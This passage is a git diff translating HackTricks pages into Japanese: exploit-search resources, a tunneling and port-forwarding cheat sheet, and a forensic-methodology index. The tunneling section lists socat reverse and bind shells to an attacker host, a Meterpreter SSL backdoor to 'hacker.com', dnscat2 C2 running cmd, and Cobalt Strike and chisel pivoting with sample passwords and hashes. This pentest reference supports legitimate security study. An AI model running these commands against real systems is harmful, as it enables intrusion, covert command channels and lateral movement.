+### ブラウザ -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +常に「google」や他のサービスで検索してください: **\ \[version] exploit** -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - -### Browser - -Always search in "google" or others: **\ \[version] exploit** - -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +また、[https://exploits.shodan.io/](https://exploits.shodan.io) の **shodan** **exploit search** も試してみてください。 ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +**exploitdb** からコンソールでサービスのエクスプロイトを検索するのに便利です。 ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,32 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) は、エクスプロイトを検索するための別のツールです。 ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com) 内で使用されている技術を検索してみてください。 ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +vulnersデータベースでも検索できます: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +これは他のデータベースでのエクスプロイトを検索します: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +GTFOBinsのようなキュレーションされたエクスプロイトのリストで、脆弱性の種類(ローカル特権昇格、リモートコード実行など)、サービスの種類(Web、SMB、SSH、RDPなど)、OS、実践ラボ(スプロイツで遊べるマシンへのリンク)でフィルタリングされています: [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} +search_vulnsは、既知の脆弱性とエクスプロイトを検索することも可能です: [**https://search-vulns.com/**](https://search-vulns.com/)。NVD、Exploit-DB、PoC-in-GitHub、GitHub Security Advisoryデータベース、endoflife.dateなど、さまざまなデータソースを利用しています。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..5b3f2e707 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,16 +1,15 @@ -# Tunneling and Port Forwarding +# トンネリングとポートフォワーディング {{#include ../banners/hacktricks-training.md}} -## Nmap tip +## Nmapのヒント > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP**および**SYN**スキャンはソックスプロキシを通してトンネリングできないため、**pingディスカバリー**を**無効に**し(`-Pn`)、**TCPスキャン**(`-sT`)を指定する必要があります。 ## **Bash** -**Host -> Jump -> InternalA -> InternalB** - +**ホスト -> ジャンプ -> InternalA -> InternalB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +SSH グラフィカル接続 (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` - ### Local Port2Port -Open new Port in SSH Server --> Other port - +SSHサーバーで新しいポートを開く --> 別のポート ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +ローカルポート --> 侵害されたホスト (SSH) --> 第三のボックス:ポート ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +ローカルポート --> 侵害されたホスト (SSH) --> どこでも ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### リバースポートフォワーディング -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +これは、DMZを通じて内部ホストからあなたのホストへのリバースシェルを取得するのに役立ちます: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)し、sshdの設定はrootログインを許可する必要があります:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +サーバー側で転送を有効にする ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +クライアント側に新しいルートを設定する ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +あなたは**ssh**を介してホストを通じて**サブネットワーク**へのすべての**トラフィック**を**トンネル**することができます。\ +例えば、10.10.10.0/24に向かうすべてのトラフィックを転送します。 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +プライベートキーで接続する ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +ローカルポート --> 侵害されたホスト (アクティブセッション) --> 第三のボックス:ポート ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +別の方法: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike -### SOCKS proxy - -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. +### SOCKSプロキシ +すべてのインターフェースでリッスンしているチームサーバーにポートを開き、**ビークンを通じてトラフィックをルーティングする**ことができます。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> この場合、**ポートはビーコンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送信されます。 ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +注意: -To note: +- Beaconのリバースポートフォワードは、**個々のマシン間の中継ではなく、Team Serverへのトラフィックをトンネリングするために設計されています**。 +- トラフィックは**BeaconのC2トラフィック内でトンネリングされます**、P2Pリンクを含みます。 +- **管理者権限は必要ありません** 高ポートでリバースポートフォワードを作成するために。 -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. - -### rPort2Port local +### rPort2Portローカル > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> この場合、**ポートはbeaconホストで開かれます**、Team Serverではなく、**トラフィックはCobalt Strikeクライアントに送信されます**(Team Serverではなく)、そこから指定されたホスト:ポートに送信されます。 ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +ウェブファイルトンネルをアップロードする必要があります: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)のリリースページからダウンロードできます。\ +**クライアントとサーバーで同じバージョンを使用する必要があります。** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### ポートフォワーディング ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** - -### Tunneling +**エージェントとプロキシに同じバージョンを使用してください** +### トンネリング ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +**NTLMプロキシ**を介してピボットする ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### バインドシェル ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### リバースシェル ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - ### Port2Port through socks - ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### MeterpreterをSSL Socat経由で ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +あなたは被害者のコンソールで最後の行の代わりにこの行を実行することで**非認証プロキシ**をバイパスできます: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` - [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) -### SSL Socat Tunnel +### SSL Socat トンネル -**/bin/sh console** - -Create certificates on both sides: Client and Server +**/bin/sh コンソール** +クライアントとサーバーの両方で証明書を作成します。 ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +310,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +ローカルSSHポート(22)を攻撃者ホストの443ポートに接続します ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、 +このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +任意のポートに対してローカル管理者である必要があります。 ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +341,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +**RDPアクセスが必要です**。\ +ダウンロード: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - このツールは、Windowsのリモートデスクトップサービス機能からの`Dynamic Virtual Channels`(`DVC`)を使用します。DVCは**RDP接続を介してパケットをトンネリングする**役割を担っています。 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +クライアントコンピュータで**`SocksOverRDP-Plugin.dll`**を次のようにロードします: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** でき、**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** することになります。 -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +**RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +攻撃者のマシンでポート1080がリッスンしていることを確認してください: ``` netstat -antb | findstr 1080 ``` +今、[**Proxifier**](https://www.proxifier.com/) **を使用して、そのポートを通じてトラフィックをプロキシできます。** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Windows GUIアプリをプロキシ化する -## Proxify Windows GUI Apps +[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリをプロキシ経由でナビゲートさせることができます。\ +**Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\ +**Profile -> Proxification Rules** でプロキシ化するプログラムの名前と、プロキシ化したいIPへの接続を追加します。 -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## NTLMプロキシバイパス +前述のツール: **Rpivot**\ +**OpenVPN** もこれをバイパスでき、設定ファイルにこれらのオプションを設定します: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを通じてお好みのツールを使用できます。\ +例えば、ポート443を転送します。 ``` Username Alice Password P@ssw0rd @@ -471,40 +392,34 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。\ +また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。 ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Microsoftによって作成されたリバースプロキシです。こちらで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) -## DNS Tunneling +## DNSトンネリング ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +両方のシステムでルート権限が必要で、DNSクエリを使用してトンネルアダプタを作成し、データをそれらの間でトンネルします。 ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +トンネルは非常に遅くなります。このトンネルを通じて圧縮されたSSH接続を作成するには、次のようにします: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**ここからダウンロード**](https://github.com/iagox86/dnscat2)**.** +DNSを通じてC\&Cチャネルを確立します。ルート権限は必要ありません。 ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,50 +428,42 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **PowerShellで** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **dnscatを使用したポートフォワーディング** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### プロキシチェインのDNSを変更する -#### Change proxychains DNS +Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Goでのトンネル [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## ICMPトンネリング ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してデータをトンネリングします。 ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**ここからダウンロード**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -570,32 +477,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。**\ +&#xNAN;_Exposition URI は次のようになります:_ **UID.ngrok.io** -### Installation - -- Create an account: https://ngrok.com/signup -- Client download: +### インストール +- アカウントを作成: https://ngrok.com/signup +- クライアントのダウンロード: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### 基本的な使用法 -### Basic usages +**ドキュメント:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ - -#### Tunneling TCP +_必要に応じて、認証とTLSを追加することも可能です。_ +#### TCPトンネリング ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +506,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### HTTPを使用してファイルを公開する ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` +#### HTTPコールのスニッフィング -#### Sniffing HTTP calls - -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). - -#### Tunneling internal HTTP service +_XSS、SSRF、SSTI ... に役立ちます。_\ +stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。 +#### 内部HTTPサービスのトンネリング ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml シンプルな設定例 -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: - -- 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ +3つのトンネルを開きます: +- 2つのTCP +- 1つのHTTP、/tmp/httpbin/ からの静的ファイルの公開 ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## その他のチェックツール - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..7199b960a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# 基本的なフォレンジック手法 {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## イメージの作成とマウント {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## マルウェア分析 -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +これは**イメージを取得した後に最初に行うべきステップではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、このマルウェア分析技術を独立して使用できますので、これらのアクションを**念頭に置いておくことが重要です**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## イメージの検査 -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +デバイスの**フォレンジックイメージ**が提供された場合、**パーティションやファイルシステム**を**分析**し、潜在的に**興味深いファイル**(削除されたものも含む)を**回復**し始めることができます。方法を学ぶには: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +使用されるOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## 特定のファイルタイプとソフトウェアの深い検査 -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +非常に**疑わしい****ファイル**がある場合、**ファイルタイプとそれを作成したソフトウェア**に応じて、いくつかの**トリック**が役立つかもしれません。\ +興味深いトリックを学ぶには、以下のページをお読みください: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +特に言及したいページがあります: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## メモリダンプの検査 {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcapの検査 {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **アンチフォレンジック技術** -Keep in mind the possible use of anti-forensic techniques: +アンチフォレンジック技術の使用の可能性を念頭に置いてください: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## 脅威ハンティング {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..c71aa48d7 100644 --- 